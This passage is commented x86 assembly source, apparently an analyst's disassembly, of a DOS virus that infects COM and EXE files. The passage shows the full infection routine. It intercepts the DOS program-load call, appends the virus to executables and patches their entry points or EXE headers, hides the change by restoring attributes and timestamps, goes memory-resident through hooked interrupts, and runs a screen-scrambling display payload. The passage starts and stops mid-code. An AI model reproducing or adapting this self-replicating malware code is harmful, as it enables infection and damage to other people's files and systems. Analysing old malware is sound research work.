CRTERR[SI],0FFH ; Test critical error flag + JZ BP0240 ; Branch if not set + STC +BP0240: RET + + ; Make root dir current dir + +BP0250: MOV WORD PTR [SI+5],'\' ; Root dir + MOV DX,SI ; \ Address root dir pathname + ADD DX,5 ; / + MOV AH,3BH ; Change current directory function + CALL BP0230 ; Perform a DOS service + RET + + ASSUME DS:CODE +BP0260: CALL BP0250 ; Make root dir current dir + MOV DX,SI ; \ Address + ADD DX,46H ; / + MOV AH,3BH ; Change current directory function + INT 21H ; DOS service +BP0270: MOV BX,F_HAND[SI] ; Get file handle + OR BX,BX ; Test for a handle + JZ BP0290 ; Branch if none + MOV CX,F_ATTR[SI] ; Get file attributes + MOV DX,PTH_OF[SI] ; Get pathname offset + MOV DS,PTH_SG[SI] ; Get pathname segment + CMP CX,20H ; Are attributes archive? + JE BP0280 ; Branch if yes + MOV AX,4301H ; Set attributes function + INT 21H ; DOS service +BP0280: PUSH CS ; \ Set DS to CS + POP DS ; / + MOV CX,F_TIME[SI] ; Get file time + MOV DX,F_DATE[SI] ; Get file date + MOV AX,5701H ; Set file date and time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service +BP0290: MOV DL,CURDSK[SI] ; Get current disk + MOV AH,0EH ; Select disk function + INT 21H ; DOS service + CALL BP0610 ; Restore Int 24H vector + POP AX ; ? + MOV SEGREG[SI],AX ; Save segment + CMP BYTE PTR [SI+3],0FFH ; Should virus be installed? + JE BP0300 ; Branch if yes + ADD AX,0010H ; Add PSP length to segment + ADD WORD PTR [SI+2],AX ; Store segment + POP AX ; ? + POP DS ; ? + JMP DWORD PTR CS:[SI] ; Branch to ? + + ; Install resident copy of virus + +BP0300: CALL BP0510 ; Get installed virus segment + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV AX,[SI] ; \ Replace first word of host + MOV DW0000+100H,AX ; / + MOV AL,[SI+2] ; \ Replace third byte of host + MOV DB0002+100H,AL ; / + JZ BP0310 ; Branch if installed + MOV BX,DS ; Get current segment + ADD BX,01D0H ; Add length of installed segment + MOV ES,BX ; Segment to copy to + MOV DI,SI ; Start of virus + MOV DX,SI ; Copy relocation factor + MOV CX,OFFSET ENDADR ; Length of virus + CALL BP1160 ; Copy virus and transfer control + MOV CX,DX ; Relocation factor (as length) + MOV SI,DX ; Relocation factor as source + DEC SI ; Back one byte + MOV DI,SI ; Same offset as target + STD ; Going backwards + REPZ MOVSB ; Copy host program + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV DI,0100H ; Target following PSP + MOV DS,BX ; Current segment as source + MOV SI,DX ; Start of virus + MOV CX,OFFSET ENDADR ; Length of virus + CALL BP1160 ; Copy virus and transfer control + MOV SI,0100H ; New relocation factor + PUSH CS ; \ Set DS to CS + POP DS ; / + CALL BP0580 ; Install interrupts + MOV DX,01D0H ; Get length of installed segment +BP0310: MOV DI,CS ; \ New segment for host + ADD DI,DX ; / + MOV WORD PTR [SI+5],0100H ; Host offset + MOV [SI+7],DI ; Host segment + POP AX ; ? + POP DS ; ? + MOV DS,DI ; \ + MOV ES,DI ; ) Set up other segment registers + MOV SS,DI ; / + XOR BX,BX ; Clear register + XOR CX,CX ; Clear register + XOR BP,BP ; Clear register + JMP DWORD PTR CS:[SI+5] ; Branch to host program + + ; Clear error flag and return + + ASSUME DS:NOTHING +BP0320: MOV CRTERR[SI],0 ; Clear critical error flag + RET + + ; Write infection count + + ASSUME DS:CODE +BP0330: MOV BX,F_HAND[SI] ; Get file handle + OR BX,BX ; Test for a handle + JZ BP0340 ; Branch if none + MOV DX,SI ; \ Address infection count + ADD DX,OFFSET DB0004 ; / + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service +BP0340: RET + + ; Process file + +BP0350: PUSH DX + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + ADD AL,'A' ; Convert to letter + MOV AH,':' ; Disk separator + MOV WORD PTR DB0884[SI],AX ; Disk in pathname + MOV BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname + PUSH SI + ADD SI,OFFSET DB0884+3 ; Address next position in pathname + MOV AH,47H ; Get current directory function + MOV DI,SI ; Buffer area + XOR DL,DL ; Default drive + INT 21H ; DOS service + POP SI + DEC DI ; Back one character +BP0360: INC DI ; Next character + MOV AL,[DI] ; Get character + OR AL,AL ; Is it zero + JNZ BP0360 ; Branch if not + POP BX + MOV BYTE PTR [DI],'\' ; Store directory separator + INC DI ; Next position + MOV DX,BX ; Copy filename pointer +BP0370: MOV AL,[BX] ; Get character + MOV [DI],AL ; Store in pathname + INC BX ; Next input position + INC DI ; Next output position + OR AL,AL ; End of filename? + JNZ BP0370 ; Next character if not +BP0380: MOV AX,4300H ; Get attributes function + CALL BP0230 ; Perform a DOS service + JB BP0320 ; Branch if error + ASSUME DS:NOTHING + MOV ATTR_F[SI],CX ; Save attributes + AND CX,00FEH ; Set off read only + MOV AX,4301H ; Set attributes function + CALL BP0230 ; Perform a DOS service + JB BP0320 ; Branch if error + MOV AX,3D02H ; Open handle R/W function + CALL BP0230 ; Perform a DOS service + JB BP0320 ; Branch if error + MOV BX,AX ; Move handle + PUSH DS + PUSH DX + CALL BP0400 ; Infect file if not infected + POP DX + POP DS + PUSHF + MOV CX,ATTR_F[SI] ; Get attributes + CMP CX,20H ; Archive only? + JE BP0390 ; Branch if yes + MOV AX,4301H ; Set attributes function + INT 21H ; DOS service +BP0390: MOV CX,TIME_F[SI] ; Get file time + MOV DX,DATE_F[SI] ; Get file date + MOV AX,5701H ; Set file date and time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + POPF + RET + + ; Infect file if not infected + +BP0400: MOV AX,5700H ; Get file date and time function + INT 21H ; DOS service + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + MOV TIME_F[SI],CX ; Save file time + MOV DATE_F[SI],DX ; Save file date + MOV DX,SI ; \ Address buffer + ADD DX,0DH ; / + MOV DI,DX ; Copy this address + MOV AH,3FH ; Read handle function + MOV CX,001CH ; EXE header length + INT 21H ; DOS service + CMP WORD PTR [DI],'ZM' ; EXE header? + JE BP0430 ; Branch if yes + CALL BP0500 ; Move pointer to end of file + ADD AX,OFFSET SIGNAT+100H ; Add length of virus + JB BP0410 ; Branch if too big for a COM + CMP BYTE PTR [DI],0E9H ; Does it start with a near jump? + JNE BP0420 ; Branch if not + MOV DX,[DI+1] ; Get displacement from jump + XOR CX,CX ; Clear top + MOV AX,4200H ; Move file pointer (start) function + INT 21H ; DOS service + MOV DX,DI ; Read buffer + ADD DX,001CH ; Add length of EXE header + MOV AH,3FH ; Read handle function + MOV CX,3 ; Length to read + INT 21H ; DOS service + CALL BP0440 ; Test virus signature on file + JNB BP0420 ; Branch if not present + ASSUME DS:NOTHING + MOV ISWTCH[SI],1 ; Set infected file switch on +BP0410: RET + + ASSUME DS:CODE +BP0420: CALL BP0500 ; Move pointer to end of file + MOV FLENLO[SI],AX ; Save file length, low word + MOV FLENHI[SI],DX ; Save file length, high word + PUSH AX + MOV WORD PTR [DI+3],0FFFFH ; Initialise count + MOV CX,5 ; Length to write + MOV AH,40H ; Write handle function + MOV DX,DI ; Address start of buffer + INT 21H ; DOS service + MOV DX,SI ; \ Address start of virus + ADD DX,5 ; / + MOV CX,OFFSET SIGNAT ; Length of virus + MOV AH,40H ; Write handle function + INT 21H ; DOS service + MOV AX,4200H ; Move file pointer (start) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV BYTE PTR [DI],0E9H ; Near jump instruction + POP AX ; Recover length of file + ADD AX,OFFSET BP0010-3 ; Jump offset to entry point + MOV [DI+1],AX ; Store in jump instruction + MOV DX,DI ; Address of jump instruction + MOV CX,3 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + CLC + RET + + ; EXE file + +BP0430: CMP WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum? + JNE BP0450 ; Branch if not + PUSH SI + MOV SI,[DI+14H] ; Get initial offset + MOV CX,[DI+16H] ; Get initial segment + MOV AX,CX ; Copy segment + MOV CL,CH ; Move top byte down + XOR CH,CH ; Clear top + SHR CX,1 ; \ + SHR CX,1 ; \ Move top nibble into position + SHR CX,1 ; / + SHR CX,1 ; / + SHL AX,1 ; \ + SHL AX,1 ; \ Move rest of segment + SHL AX,1 ; / + SHL AX,1 ; / + ADD SI,AX ; \ Add to offset + ADC CX,0 ; / + SUB SI,3 ; \ Subtract length of signature + SBB CX,0 ; / + MOV AX,[DI+8] ; Get size of header + CALL BP0490 ; Move segment to two-register offset + ADD SI,AX ; \ Add to starting position + ADC CX,DX ; / + MOV DX,SI ; Move low word + POP SI + MOV AX,4200H ; Move file pointer (start) function + INT 21H ; DOS service + MOV DX,DI ; Address buffer + ADD DX,001CH ; Add length of EXE header + MOV AH,3FH ; Read handle function + MOV CX,3 ; Length to read + INT 21H ; DOS service + CALL BP0440 ; Test virus signature on file + JNB BP0480 ; Branch if not present + ASSUME DS:NOTHING + MOV ISWTCH[SI],1 ; Set infected file switch on + RET + + ; Test virus signature on file + +BP0440: CMP WORD PTR [DI+1CH],4756H ; Look for virus signature + JNE BP0470 ; Branch if not found + CMP BYTE PTR [DI+1EH],31H ; Look for rest of signature + JNE BP0470 ; Branch if not found +BP0450: STC +BP0460: RET + +BP0470: CLC + RET + + ; Infect EXE file + + ASSUME DS:CODE +BP0480: CALL BP0500 ; Move pointer to end of file + MOV FLENLO[SI],AX ; Save file length, low word + MOV FLENHI[SI],DX ; Save file length, high word + MOV CX,[DI+4] ; Get size of file in pages + SHL CX,1 ; Multiply by two + XCHG CH,CL ; Reverse bytes + MOV BP,CX ; Copy + AND BP,0FF00H ; Convert to bytes (low word) + XOR CH,CH ; Convert to bytes (high word) + ADD BP,[DI+6] ; \ Add number of relocation entries + ADC CX,0 ; / + SUB BP,AX ; \ Subtract current length + SBB CX,DX ; / + JB BP0460 ; Branch if overlay + PUSH AX ; Save length of host, low word + PUSH DX ; Save length of host, high word + PUSH [DI+18H] ; Save offset to relocation table + MOV BYTE PTR [DI+18H],0FFH ; Original entry address marker + MOV CX,5 ; Length to write + MOV AH,40H ; Write handle function + MOV DX,DI ; \ Address host entry address + ADD DX,14H ; / + INT 21H ; DOS service + POP [DI+18H] ; Recover offset to relocation table + MOV DX,SI ; \ Address start of virus + ADD DX,5 ; / + MOV CX,OFFSET SIGNAT ; Length of virus + MOV AH,40H ; Write handle function + INT 21H ; DOS service + MOV AX,4200H ; Move file pointer (start) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + POP [DI+16H] ; Recover length of host, high word + POP [DI+14H] ; Recover length of host, low word + ADD WORD PTR [DI+14H],00FAH ; \ Add entry point + ADC WORD PTR [DI+16H],0 ; / + MOV AX,[DI+8] ; Get size of header + CALL BP0490 ; Move segment to two-register offset + SUB [DI+14H],AX ; \ Subtract size of header + SBB [DI+16H],DX ; / + MOV CL,0CH ; Bits to move + SHL WORD PTR [DI+16H],CL ; Convert high word to segment + MOV AX,OFFSET ENDADR ; Length of virus + ADD AX,[DI+2] ; Add bytes in last paragraph + MOV [DI+2],AX ; Store new figure + AND [DI+2],01FFH ; Set off top bits + MOV AL,AH ; Copy high byte + XOR AH,AH ; Clear top of register + SHR AX,1 ; Divide by two + ADD [DI+4],AX ; Add to pages + MOV DX,DI ; Move address of EXE header + MOV CX,001CH ; EXE header length + MOV AH,40H ; Write handle function + INT 21H ; DOS service + CLC + RET + + ; Move segment to two-register offset + +BP0490: XOR DX,DX ; Clear register + SHL AX,1 ; \ Move double one bit + RCL DX,1 ; / + SHL AX,1 ; \ Move double one bit + RCL DX,1 ; / + SHL AX,1 ; \ Move double one bit + RCL DX,1 ; / + SHL AX,1 ; \ Move double one bit + RCL DX,1 ; / + RET + + ; Move pointer to end of file + +BP0500: XOR DX,DX ; \ No displacement + XOR CX,CX ; / + MOV AX,4202H ; Move file pointer (EOF) function + INT 21H ; DOS service + RET + + ; Get installed virus segment + +BP0510: XOR AX,AX ; \ Address zero + MOV DS,AX ; / + LDS DI,BD009C ; Load Int 27H vector + LDS DI,[DI+1] ; Get vector from far jump + MOV AX,DI ; Save offset + SUB DI,OFFSET BP0780-V_SIGN ; Address from jump to old Int 27H + CALL BP0530 ; Test virus signature in memory + JZ BP0520 ; Branch if found + MOV DI,AX ; Retrieve offset + SUB DI,OFFSET BP0770-V_SIGN ; Address from new Int 27H routine + CALL BP0530 ; Test virus signature in memory + JZ BP0520 ; Branch if found + LDS DI,BD0080 ; Load Int 20H vector + LDS DI,[DI+1] ; Get vector from far jump + MOV AX,DI ; Save offset + SUB DI,OFFSET BP0630-V_SIGN ; Address from jump to old Int 20H + CALL BP0530 ; Test virus signature in memory + JZ BP0520 ; Branch if found + MOV DI,AX ; Retrieve offset + SUB DI,OFFSET BP0620-V_SIGN ; Address from new Int 27H routine + CALL BP0530 ; Test virus signature in memory +BP0520: RET + + ; Test virus signature in memory + +BP0530: XOR DX,DX ; Clear register + CMP WORD PTR [DI],4756H ; Look for virus signature + JNE BP0540 ; Branch if not present + CMP BYTE PTR [DI+2],31H ; Look for rest of signature + JE BP0550 ; Branch if there +BP0540: INC DX ; Set no virus marker +BP0550: SUB DI,OFFSET V_SIGN ; Subtract offset of signature + OR DX,DX ; Test no virus marker + RET + + ; Create far jump + +BP0560: MOV AL,0EAH ; Far jump + STOSB ; Store jump instruction + MOV AX,CX ; \ Address routine + ADD AX,SI ; / + STOSW ; Store offset + MOV AX,CS ; Get segment + STOSW ; Store segment +BP0570: RET + + ; Install interrupts + +BP0580: OR DX,DX + JZ BP0570 ; Dont install if yes + PUSH DS + PUSH ES + MOV ES,SEGREG[SI] ; Get segment register + MOV DI,00ECH ; Address far jump table + CLD + MOV CX,OFFSET BP0880 ; Int 1CH routine + CALL BP0560 ; Create Int 1CH far jump + MOV CX,OFFSET BP0620 ; Int 20H routine + CALL BP0560 ; Create Int 20H far jump + MOV CX,OFFSET BP0700 ; Int 21H routine + CALL BP0560 ; Create Int 21H far jump + MOV CX,OFFSET BP0770 ; Int 27H routine + CALL BP0560 ; Create Int 27H far jump + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + ASSUME DS:BOOT + CLI + MOV AX,00ECH ; Address Int 1CH far jump + XCHG AX,BW0070 ; Install as Int 1CH offset + MOV CS:I1C_OF[SI],AX ; Save old Int 1CH offset + MOV AX,ES ; Get this segment + XCHG AX,BW0072 ; Install as Int 1CH segment + MOV CS:I1C_SG[SI],AX ; Save old Int 1CH segment + MOV AX,00F1H ; Address Int 20H far jump + XCHG AX,BW0080 ; Install as Int 20H offset + MOV CS:I20_OF[SI],AX ; Save old Int 20H offset + MOV AX,ES ; Get this segment + XCHG AX,BW0082 ; Install as Int 20H segment + MOV CS:I20_SG[SI],AX ; Save old Int 20H segment + MOV AX,00F6H ; Address Int 21H far jump + XCHG AX,BW0084 ; Install as Int 21H offset + MOV CS:I21_OF[SI],AX ; Save old Int 21H offset + MOV AX,ES ; Get this segment + XCHG AX,BW0086 ; Install as Int 21H segment + MOV CS:I21_SG[SI],AX ; Save old Int 21H segment + MOV AX,00FBH ; Address Int 27H far jump + XCHG AX,BW009C ; Install as Int 27H offset + MOV CS:I27_OF[SI],AX ; Save old Int 27H offset + MOV AX,ES ; Get this segment + XCHG AX,BW009E ; Install as Int 27H segment + MOV CS:I27_SG[SI],AX ; Save old Int 27H segment + POP ES + POP DS + STI + RET + + ; Reset interrupts + + ASSUME DS:CODE +BP0590: PUSH ES + MOV ES,SEGREG[SI] ; Get segment register + MOV DI,00F1H ; Address far jump table (2nd entry) + CLD + MOV CX,OFFSET BP0630 ; Jump to old Int 20H + CALL BP0560 ; Create Int 20H far jump + MOV CX,OFFSET BP0720 ; Alternate Int 21H routine + CALL BP0560 ; Create Int 21H far jump + MOV CX,OFFSET BP0780 ; Jump to old Int 27H + CALL BP0560 ; Create Int 27H far jump + POP ES + RET + + ; Set Int 24H vector + +BP0600: PUSH ES + XOR AX,AX ; \ Address zero + MOV ES,AX ; / + ASSUME ES:BOOT + MOV AX,OFFSET BP0790 ; \ Interrupt 24H routine + ADD AX,SI ; / + XCHG AX,BW0090 ; Install as Int 24H offset + MOV I24_OF[SI],AX ; Save old Int 24H offset + MOV AX,CS ; Get this segment + XCHG AX,BW0092 ; Install as Int 24H segment + MOV I24_SG[SI],AX ; Save old Int 24H segment + POP ES + MOV CRTERR[SI],0 ; Clear critical error flag + RET + + ; Restore Int 24H vector + + ASSUME DS:NOTHING +BP0610: PUSH ES + XOR AX,AX ; \ Address zero + MOV ES,AX ; / + MOV AX,I24_OF[SI] ; Get old Int 24H offset + MOV BW0090,AX ; Restore Int 24H offset + MOV AX,I24_SG[SI] ; Get old Int 24H segment + MOV BW0092,AX ; Restore Int 24H segment + POP ES + ASSUME ES:NOTHING + RET + + ; Interrupt 20H routine + +BP0620: JMP BP0680 + + ; Interrupt 20H - jump to original routine + +BP0630: DB 0EAH ; Far jump to Int 20H +I20_OF DW 0136CH ; Original Int 20H offset +I20_SG DW 00291H ; Original Int 20H segment + + ; Get relocation constant in SI + +BP0640: POP BX ; Get return address + PUSH DS + PUSH AX + PUSH DS + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + CALL BP0650 ; \ Get current address +BP0650: POP SI ; / + SUB SI,OFFSET BP0650 ; Subtract displacement from it + JMP BX ; Branch to return address + + ; Free or allocate memory functions + +BP0660: CALL BP0640 ; Get relocation constant in SI + PUSH CX + MOV AX,[SI+7] ; Get host segment + MOV CX,ES ; Get relevant segment + CMP AX,CX ; Are they the same? + POP CX + POP DS + POP AX + JNE BP0670 ; Branch if different + PUSH CS ; \ Set ES to CS + POP ES ; / + CMP AH,49H ; Free memory? + JE BP0670 ; Branch if yes + ADD BX,01D0H ; Add length of installed segment +BP0670: POP DS + JMP BP0710 ; Pass on to old Int 21H + + ; Program termination (Int 20H, or functions 0 or 4CH) + +BP0680: XOR DX,DX ; Nothing to keep +BP0690: CALL BP0640 ; Get relocation constant in SI + PUSH ES + PUSH DX + CLI + CALL BP0590 ; Reset interrupts + STI + POP AX + MOV DX,01D0H ; Length of installed segment + ADD DX,AX ; Add length for host + ADD DX,10H ; Add PSP length (?) + POP ES + POP DS + POP AX + POP DS + MOV AH,31H ; Keep process function + JMP SHORT BP0710 ; Pass on to old Int 21H + + ; Interrupt 21H routine + +BP0700: CMP AH,4CH ; \ End process function? + JE BP0680 ; / + CMP AH,31H ; \ Keep process function? + JE BP0690 ; / + OR AH,AH ; \ Terminate program function? + JZ BP0680 ; / + CMP AH,49H ; \ Free allocated memory function? + JE BP0660 ; / + CMP AH,4AH ; \ Set block function? + JE BP0660 ; / + CMP AH,4BH ; \ Load function? + JE BP0730 ; / +BP0710: DB 0EAH ; Far jump to Int 21H +I21_OF DW 0138DH ; Original Int 21H offset +I21_SG DW 00291H ; Original Int 21H segment + + ; Alternate Interrupt 21H - only intercept load + +BP0720: CMP AH,4BH ; Load function? + JNE BP0710 ; Branch if not +BP0730: PUSH CX + PUSH DX + PUSH ES + PUSH BX + PUSH SI + PUSH DI + PUSH BP + CALL BP0640 ; Get relocation constant in SI + CALL BP0600 ; Set Int 24H vector +BP0740: STI + TEST BYTE PTR SWTCHB+100H,2 ; Test switch two + JNZ BP0740 ; Branch if on + CLI + TEST BYTE PTR SWTCHB+100H,2 ; Test switch two + JNZ BP0740 ; Branch if on + OR BYTE PTR SWTCHB+100H,2 ; Set on switch two + POP DS + ASSUME DS:NOTHING + MOV BX,DX ; Pathname pointer + MOV PTHDSK[SI],0FFH ; Set drive to none + CMP BYTE PTR [BX+01],':' ; Does pathname include drive? + JNE BP0750 ; Branch if not + MOV AL,[BX] ; Get drive letter + OR AL,20H ; Convert to lowercase + SUB AL,'a' ; Convert to number + MOV PTHDSK[SI],AL ; Store drive +BP0750: PUSH SI + PUSH DI + PUSH ES + CLD + MOV SI,DX ; Pathname pointer + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV DI,OFFSET DB0884+100H ; Pathname +BP0760: LODSB ; Get a character + STOSB ; Store a character + OR AL,AL ; Was that the last? + JNZ BP0760 ; Branch if not + POP ES + POP DI + POP SI + CALL BP0380 ; Process file + CALL BP0610 ; Restore Int 24H vector + AND BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two + POP AX + POP DS + POP BP + POP DI + POP SI + POP BX + POP ES + POP DX + POP CX + JMP BP0710 ; Pass on to old Int 21H + + ; Interrupt 27H routine + +BP0770: ADD DX,0FH ; Round up + MOV CL,4 ; Bits to shift + SHR DX,CL ; Convert to paragraphs + JMP BP0690 ; Keep process + + ; Interrupt 27H - jump to original routine + +BP0780: DB 0EAH ; Far jump to Int 27H +I27_OF DW 05DFEH ; Original Int 27H offset +I27_SG DW 00291H ; Original Int 27H segment + + ; Interrupt 24H routine + +BP0790: PUSH SI + CALL BP0800 ; \ Get current location +BP0800: POP SI ; / + SUB SI,OFFSET BP0800 ; Subtract offset + OR CRTERR[SI],1 ; Set critical error flag + POP SI + XOR AL,AL ; No action + IRET + +DB086E DB 1 ; Past second line indicator + DB 0 +DB0870 DB 0 ; Characters going down switch + DB 0 +SWTCHB DB 82H ; Switch byte + ; 01 - switch one - alternate timer tick + ; 02 - switch two - processing file + ; 04 - switch three - infection count target reached + ; 08 - switch four - count two started + ; 10 - switch five - don't go to start of line + ; 20 - switch six - count two started and finished (?) + ; 40 - switch seven - count two finished + ; 80 - switch eight - video display permitted +I09_OF DW 0 ; Old Int 9 offset +I09_SG DW 0 ; Old Int 9 segment +DSPCNT DW 0FFDCH ; Display count +I09BSY DB 0 ; Int 9 busy switch +KEYTOK DB 0 ; Keyboard token +KEYNUM DB 0 ; Key number +VIDADR DW 0B800H ; Video RAM segment +RSTCNT DW 0 ; Restore count +FLENLO DW 39H ; File length, low word +FLENHI DW 0 ; File length, high word +DB0884 DB 'C:\3066\HELLO.COM', 0 ; Pathname + DB 'EXE', 0, 'E', 90H DUP (0) + +BP0820: PUSH CX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH CS ; \ Set ES to CS + POP ES ; / + CLD + TEST AL,20H ; Test switch six + JZ BP0850 ; Branch if off + TEST AL,2 ; Test switch two + JNZ BP0860 ; Branch if on + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + ASSUME DS:BOOT + MOV AL,BB0449 ; Get current VDU mode + MOV CX,0B800H ; VDU RAM address + CMP AL,7 ; Mode 7? + JNE BP0830 ; Branch if not + MOV CX,0B000H ; External mono VDU RAM + JMP SHORT BP0840 + +BP0830: CMP AL,2 ; Mode 2? + JE BP0840 ; Branch if yes + CMP AL,3 ; Mode 3? + JNE BP0860 ; Branch if not +BP0840: MOV VIDADR+100H,CX ; Save video RAM segment + OR SWTCHB+100H,2 ; Set on switch two + MOV RSTCNT+100H,0 ; Set restore count to zero + MOV DS,CX ; Address video RAM + MOV CX,80*25 ; Length to copy + XOR SI,SI ; From zero + MOV DI,OFFSET SIGNAT+100H ; To end of virus + REPZ MOVSW ; Copy video + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + MOV AX,OFFSET BP1010+100H ; Interrupt 9 routine + XCHG AX,BW0024 ; Install as Int 9 offset + MOV I09_OF+100H,AX ; Save old Int 9 offset + MOV AX,CS ; Get current segment + XCHG AX,BW0026 ; Install as Int 9 segment + MOV I09_SG+100H,AX ; Save old Int 9 segment +BP0850: MOV CX,0050H ; Length of one line + MOV AX,80*24*2 ; Last line address + MOV DI,OFFSET DW0005+100H ; Address line store + REPZ STOSW ; Store line numbers + AND SWTCHB+100H,7 ; Set off switches above three +BP0860: POP DI + POP SI + POP ES + POP DS + POP CX + JMP BP0990 ; Pass on to original Int 1CH + +BP0870: JMP BP0820 + + ; Interrupt 1CH routine + +BP0880: PUSH AX + MOV I09BSY+100H,0 ; Clear Int 9 busy switch + MOV AL,SWTCHB+100H ; Get switches + TEST AL,60H ; Test switches six and seven + JNZ BP0870 ; Branch if either is on + TEST AL,80H ; Test switch eight + JZ BP0910 ; Branch if off + CMP RSTCNT+100H,0 ; Is restore count off? + JE BP0890 ; Branch if yes + INC RSTCNT+100H ; Increment restore count + CMP RSTCNT+100H,0444H ; Have we reached target (1 minute)? + JL BP0890 ; Branch if not + CALL BP1030 ; Video display routine + JMP BP0990 ; Pass on to original Int 1CH + +BP0890: TEST AL,18H ; Test switches four and five + JZ BP0900 ; Branch if both off + DEC DSPCNT+100H ; Decrement display count + JNZ BP0900 ; Branch if not finished + AND SWTCHB+100H,0E7H ; Set off switch three + OR SWTCHB+100H,40H ; Set on switch seven + TEST AL,8 ; Test switch four + JZ BP0900 ; Branch if off + OR SWTCHB+100H,20H ; Set on switch six +BP0900: JMP BP0990 ; Pass on to original Int 1CH + +BP0910: XOR SWTCHB+100H,1 ; Toggle switch one + TEST AL,1 ; Test previous state + JZ BP0900 ; Branch if off + PUSH BX + PUSH SI + PUSH DS + MOV DS,VIDADR+100H ; Get video RAM segment + XOR SI,SI ; Start of line + MOV DB086E+100H,0 ; Set past second line off +BP0920: MOV BX,DW0005[SI+100H] ; Get current line number + OR BX,BX ; First line? + JZ BP0930 ; Branch if yes + CMP BYTE PTR [BX+SI],' ' ; Is character a blank? + JNE BP0930 ; Branch if not + CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space? + JE BP0930 ; Branch if yes + MOV AX,0720H ; White on black space + XCHG AX,[BX+SI+0FF60H] ; Swap with line above + MOV [BX+SI],AX ; Store new character this line + ADD BX,80*2 ; Next line +BP0930: CMP BX,80*25*2 ; Past last line? + JE BP0940 ; Branch if yes + CMP BYTE PTR [BX+SI],' ' ; Is character a blank + JNE BP0940 ; Branch if not + JNE BP0970 ; ? +BP0940: MOV BX,80*24*2 ; Address last line +BP0950: CMP BYTE PTR [BX+SI],' ' ; Is character a blank? + JNE BP0960 ; Branch if not + CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space? + JNE BP0970 ; Branch if not +BP0960: SUB BX,80*2 ; Previous line + OR BX,BX ; First line? + JNZ BP0950 ; Branch if not +BP0970: MOV DW0005[SI+100H],BX ; Save current line number + OR WORD PTR DB086E+100H,BX ; Set past second line indicator + ADD SI,2 ; Next character position + CMP SI,80*2 ; End of line? + JNE BP0920 ; Branch if not + CMP DB086E+100H,0 ; Past second line? + JNE BP0980 ; Branch if yes + OR SWTCHB+100H,80H ; Set on switch eight + MOV RSTCNT+100H,1 ; Start restore count +BP0980: POP DS + POP SI + POP BX +BP0990: POP AX + DB 0EAH ; Far jump to Int 1CH +I1C_OF DW 0FF53H ; Original Int 1CH offset +I1C_SG DW 0F000H ; Original Int 1CH segment + + ; Signal end of interrupt + +BP1000: MOV AL,20H ; \ End of interrupt + OUT 20H,AL ; / + POP AX + IRET + + ; Interrupt 9 routine + +BP1010: PUSH AX + IN AL,60H ; Get keyboard token + MOV KEYTOK+100H,AL ; Save keyboard token + IN AL,61H ; Get port B + MOV AH,AL ; Save port B + OR AL,80H ; \ Acknowledge keyboard + OUT 61H,AL ; / + MOV AL,AH ; \ Restore Port B + OUT 61H,AL ; / + CMP I09BSY+100H,0 ; Test Int 9 busy switch + MOV I09BSY+100H,1 ; Set Int 9 busy switch on + JNE BP1000 ; Branch if on already + MOV AL,KEYTOK+100H ; Get keyboard token + CMP AL,0F0H ; \ ? discard this character + JE BP1000 ; / + AND AL,7FH ; Set off top bit + CMP AL,KEYNUM+100H ; Same as last character? + MOV KEYNUM+100H,AL ; Save key number + JE BP1000 ; Branch if same as last + CMP RSTCNT+100H,0 ; Is restore count off? + JE BP1020 ; Branch if yes + MOV RSTCNT+100H,1 ; Restart restore count +BP1020: CALL BP1030 ; Video display routine + JMP BP1000 ; End of interrupt + + ; Video display routine + +BP1030: MOV DSPCNT+100H,0028H ; Set up short display count (2+ secs) + TEST SWTCHB+100H,80H ; Test switch eight + JZ BP1000 ; Branch if off + MOV DB0870+100H,1 ; Set character going down + PUSH BX + PUSH SI + PUSH DS + MOV DS,VIDADR+100H ; Get video RAM segment + TEST SWTCHB+100H,10H ; Test switch five + JNZ BP1070 ; Branch if on + OR SWTCHB+100H,10H ; Set on switch five + XOR SI,SI ; Start of line +BP1040: MOV BX,80*24*2 ; Address last line +BP1050: CMP BYTE PTR [BX+SI],' ' ; Is character a blank? + JE BP1060 ; Branch if yes + SUB BX,80*2 ; Previous line + JNB BP1050 ; Branch if not + MOV BX,80*24*2 ; Address last line +BP1060: ADD BX,80*2 ; Next line + MOV DW0005[SI+100H],BX ; Save current line number + MOV FLENLO[SI+100H],BX ; Save last line number + INC SI ; \ Next character position + INC SI ; / + CMP SI,80*2 ; End of line? + JNE BP1040 ; Branch if not +BP1070: XOR SI,SI ; Start of line +BP1080: CMP DW0005[SI+100H],80*25*2 ; End of display area? + JE BP1140 ; Branch if yes + MOV BX,FLENLO[SI+100H] ; Get last line number + MOV AX,[BX+SI] ; Get current char and attributes + CMP AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy? + JNE BP1100 ; Branch if not + PUSH BX +BP1090: OR BX,BX ; First line? + JZ BP1120 ; Restore video if yes + SUB BX,80*2 ; Previous line + CMP AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current? + JNE BP1090 ; Branch if not + CMP AX,[BX+SI] ; Is this line the same + JE BP1090 ; Branch if yes + POP BX +BP1100: OR BX,BX ; First line? + JNZ BP1110 ; Character up one line if not + MOV WORD PTR [SI],0720H ; White on black space + JMP SHORT BP1130 + + ; Move character up one line + +BP1110: MOV AX,[BX+SI] ; Get current char and attributes + MOV [BX+SI+0FF60H],AX ; Move to previous line + MOV WORD PTR [BX+SI],0720H ; White on black space + SUB 